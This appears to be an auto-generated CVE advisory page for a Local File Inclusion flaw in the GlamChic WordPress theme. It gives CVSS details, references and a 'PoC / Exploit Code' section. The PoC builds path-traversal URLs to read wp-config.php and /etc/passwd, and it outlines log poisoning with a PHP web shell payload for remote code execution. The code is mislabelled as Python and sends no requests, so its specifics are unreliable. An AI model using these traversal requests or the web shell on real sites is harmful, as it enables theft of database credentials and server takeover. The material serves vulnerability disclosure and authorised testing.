CVE-2025-49941

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes GlamChic glamchic allows PHP Local File Inclusion.This issue affects GlamChic: from n/a through <= 1.0.11.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

GlamChic <= 1.0.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
// CVE-2025-49941 PoC - GlamChic Local File Inclusion
// Target: WordPress site with GlamChic theme <= 1.0.11
// Vulnerability: Local File Inclusion via unprotected include statement

$target = 'http://target-site.com';

// Read wp-config.php (sensitive configuration file)
$exploit_path = '/wp-content/themes/glamchic/?gch_template=../../wp-config.php';
echo "[*] Exploiting LFI to read wp-config.php...\n";
echo "[*] Request URL: " . $target . $exploit_path . "\n\n";

// Read system files
$system_files = [
    '../../../../etc/passwd',
    '../../../../etc/hosts',
    '../../../wp-config.php'
];

foreach ($system_files as $file) {
    $url = $target . '/wp-content/themes/glamchic/?gch_template=' . urlencode($file);
    echo "[*] Trying: $file\n";
    echo "[*] URL: $url\n";
    // In real attack, make HTTP request here and parse response
    // If file content is returned, vulnerability is confirmed
}

// Log poisoning technique for RCE
echo "\n[*] Log poisoning for potential RCE:\n";
$log_file = '../../../../var/log/apache2/access.log';
$payload = '<?php system($_GET["cmd"]); ?>';
echo "[*] Include log file: " . $log_file . "\n";
echo "[*] Then access: ?cmd=whoami\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49941
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49941
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49941/
[4] VulDB https://vuldb.com/cve/CVE-2025-49941
[5] https://patchstack.com/database/Wordpress/Theme/glamchic/vulnerability/wordpress-glamchic-theme-1-0-11-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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